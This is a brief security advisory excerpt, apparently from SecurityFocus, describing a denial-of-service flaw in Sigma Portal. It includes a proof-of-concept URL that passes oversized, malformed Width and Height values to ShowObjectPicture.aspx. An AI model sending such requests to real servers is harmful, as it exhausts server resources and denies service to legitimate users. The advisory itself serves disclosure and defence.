source: http://www.securityfocus.com/bid/45588/info

Sigma Portal is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the server to consume excessive resources, denying service to legitimate users. 

http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID) 